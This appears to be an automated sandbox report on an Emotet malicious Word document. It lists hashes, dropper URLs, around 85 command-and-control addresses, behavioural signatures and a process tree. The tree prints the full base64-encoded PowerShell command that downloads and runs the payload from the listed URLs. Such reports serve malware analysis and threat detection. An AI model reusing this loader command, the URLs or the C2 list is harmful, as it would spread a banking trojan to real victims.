emotet | bb3f1de1929aa472d3dac314f3f6ceaf8e2afdf9b95f97d844bfa70965d8783e

General

Target
emotet_e2_bb3f1de1929aa472d3dac314f3f6ceaf8e2afdf9b95f97d844bfa70965d8783e_2020-08-14__084540._doc.doc
Size 234KB
Sample200814-c3rdfg5je2
SHA256 bb3f1de1929aa472d3dac314f3f6ceaf8e2afdf9b95f97d844bfa70965d8783e
MD5 dd2cf216aaa7105559735aca9fe15735
SHA1 da770b433805e6548a3aac1b3b3e605f7998542b
SHA512 da4c61eaa95469d8da0118e197f1615ab35a6173549c120202564d99259e252f81b4b8feb4d7483c6dcfde26e2b5fd3ba188088db30657aa9c7ce1ccf9a8a274
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://lotuspolymers.com/wp-includes/8twl_g_ov8/
exe.dropper
http://metheney.com/writehandservices.com/tkivf_6eio_dvgkj/
exe.dropper
https://www.sonoki-family.com/wp-content/s303_w_kikau/
exe.dropper
http://tecnofrota.net/cgi-bin/1_9alwl_mg9i4/
exe.dropper
http://geisterhouse.com/cgi-bin/zjs1s_bb_g/

Extracted

Family

emotet

C2

24.233.112.152:80
69.30.203.214:8080
192.210.135.126:8080
47.144.21.12:443
157.245.99.39:8080
119.198.40.179:80
62.75.141.82:80
181.211.11.242:80
167.86.90.214:8080
95.213.236.64:8080
87.106.139.101:8080
109.74.5.95:8080
142.105.151.124:443
47.146.117.214:80
185.94.252.104:443
2.58.16.85:7080
222.214.218.37:4143
85.105.205.77:8080
190.160.53.126:80
107.185.211.16:80
104.131.11.150:443
189.212.199.126:443
104.131.44.150:8080
201.173.217.124:443
199.101.86.142:8080
121.124.124.40:7080
110.145.77.103:80
168.235.67.138:7080
5.39.91.110:7080
78.24.219.147:8080
37.187.72.193:8080
114.146.222.200:80
47.146.32.175:80
76.27.179.47:80
169.239.182.217:8080
91.211.88.52:7080
41.60.200.34:80
116.203.32.252:8080
153.126.210.205:7080
157.147.76.151:80
74.120.55.163:80
209.141.54.221:8080
67.205.85.243:8080
46.105.131.79:8080
74.208.45.104:8080
180.92.239.110:8080
70.167.215.250:8080
61.19.246.238:443
83.110.223.58:443
109.116.214.124:443
87.106.136.232:8080
97.82.79.83:80
72.12.127.184:443
137.59.187.107:8080
79.98.24.39:8080
139.59.60.244:8080
203.117.253.142:80
104.236.246.93:8080
24.137.76.62:80
165.165.171.160:8080
181.230.116.163:80
93.51.50.171:8080
139.130.242.43:80
85.152.162.105:80
62.138.26.28:8080
152.168.248.128:443
188.83.220.2:443
47.153.182.47:80
203.153.216.189:7080
81.2.235.111:8080
95.179.229.244:8080
183.101.175.193:80
24.43.99.75:80
174.102.48.180:80
173.62.217.22:443
190.55.181.54:443
209.143.35.232:80
103.86.49.11:8080
204.197.146.48:80
200.41.121.90:80
113.160.130.116:8443
83.169.36.251:8080
176.111.60.55:8080
37.139.21.175:8080
24.179.13.119:80
5.196.74.210:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3440	904	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/60-13-0x0000000000730000-0x000000000073C000-memory.dmp	emotet
behavioral2/memory/60-13-0x0000000000730000-0x000000000073C000-memory.dmp	emotet
behavioral2/memory/2152-16-0x0000000002120000-0x000000000212C000-memory.dmp	emotet
behavioral2/memory/2152-16-0x0000000002120000-0x000000000212C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	3440	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
60	Kvap.exe
2152	shrpubw.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\rtmpal\shrpubw.exe	Kvap.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
408	WINWORD.EXE
408	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3440	powersheLL.exe
3440	powersheLL.exe
3440	powersheLL.exe
2152	shrpubw.exe
2152	shrpubw.exe
2152	shrpubw.exe
2152	shrpubw.exe
2152	shrpubw.exe
2152	shrpubw.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3440	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
60	Kvap.exe
60	Kvap.exe
2152	shrpubw.exe
2152	shrpubw.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3440 wrote to memory of 60	3440	powersheLL.exe	76
PID 3440 wrote to memory of 60	3440	powersheLL.exe	76
PID 3440 wrote to memory of 60	3440	powersheLL.exe	76
PID 60 wrote to memory of 2152	60	Kvap.exe	77
PID 60 wrote to memory of 2152	60	Kvap.exe	77
PID 60 wrote to memory of 2152	60	Kvap.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_bb3f1de1929aa472d3dac314f3f6ceaf8e2afdf9b95f97d844bfa70965d8783e_2020-08-14__084540._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:408

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABYAHIAZgBiAG8AeQBlAD0AJwBSAHcAcgBvAGUANwBnACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQByAEkAdABZAFAAcgBgAG8AVABPAEMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABNAG8AcAAwAGwAawB6ACAAPQAgACcASwB2AGEAcAAnADsAJABIAG0AdQBfAHIANABiAD0AJwBSADgANQB3AGsAZwBpACcAOwAkAFMAYQA5ADYAZQB6AHUAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABNAG8AcAAwAGwAawB6ACsAJwAuAGUAeABlACcAOwAkAEgANgByAGMANwBoAGgAPQAnAEYAZwAwAHcAaABhAGYAJwA7ACQAVgAxADgAbQByAGgAaAA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAGwASQBFAE4AdAA7ACQAUgBiADcAdABkAGQANwA9ACcAaAB0AHQAcABzADoALwAvAGwAbwB0AHUAcwBwAG8AbAB5AG0AZQByAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADgAdAB3AGwAXwBnAF8AbwB2ADgALwAqAGgAdAB0AHAAOgAvAC8AbQBlAHQAaABlAG4AZQB5AC4AYwBvAG0ALwB3AHIAaQB0AGUAaABhAG4AZABzAGUAcgB2AGkAYwBlAHMALgBjAG8AbQAvAHQAawBpAHYAZgBfADYAZQBpAG8AXwBkAHYAZwBrAGoALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHMAbwBuAG8AawBpAC0AZgBhAG0AaQBsAHkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBzADMAMAAzAF8AdwBfAGsAaQBrAGEAdQAvACoAaAB0AHQAcAA6AC8ALwB0AGUAYwBuAG8AZgByAG8AdABhAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AMQBfADkAYQBsAHcAbABfAG0AZwA5AGkANAAvACoAaAB0AHQAcAA6AC8ALwBnAGUAaQBzAHQAZQByAGgAbwB1AHMAZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHoAagBzADEAcwBfAGIAYgBfAGcALwAnAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAaQB4AHUAOABnAHUAPQAnAFAAcABkADIANAA3AGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFcAMABkAGUAYQBwADgAIABpAG4AIAAkAFIAYgA3AHQAZABkADcAKQB7AHQAcgB5AHsAJABWADEAOABtAHIAaABoAC4AIgBEAE8AYAB3AE4AbABPAGAAQQBkAGAARgBJAEwAZQAiACgAJABXADAAZABlAGEAcAA4ACwAIAAkAFMAYQA5ADYAZQB6AHUAKQA7ACQAUQB4AGYAXwB1AHUAdQA9ACcARABiADMAbAA2AHEAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFMAYQA5ADYAZQB6AHUAKQAuACIATABFAGAATgBnAFQAaAAiACAALQBnAGUAIAAzADIAOAA2ADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwAnACsAJwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQAUwBhADkANgBlAHoAdQApADsAJABPADkAYgB0AHoAeABkAD0AJwBYAHEAcgBlAHEAMQBtACcAOwBiAHIAZQBhAGsAOwAkAEEAMAB2ADcAZwAxAGUAPQAnAE8AcAA2AHAAagAyAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABfAGgAMABjAG8AMAA9ACcAQgB6AHkAZABkADkAegAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3440
- C:\Users\Admin\AppData\Local\Temp\Kvap.exe
  "C:\Users\Admin\AppData\Local\Temp\Kvap.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:60
- - C:\Windows\SysWOW64\rtmpal\shrpubw.exe
    "C:\Windows\SysWOW64\rtmpal\shrpubw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2152

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/60-13-0x0000000000730000-0x000000000073C000-memory.dmp

Download

memory/408-0-0x00007FFB9EF40000-0x00007FFB9F606000-memory.dmp

Download

memory/2152-16-0x0000000002120000-0x000000000212C000-memory.dmp

Download

memory/3440-7-0x00007FFB92440000-0x00007FFB92E2C000-memory.dmp

Download

memory/3440-8-0x000002AB93360000-0x000002AB93361000-memory.dmp

Download

memory/3440-9-0x000002AB93420000-0x000002AB93421000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads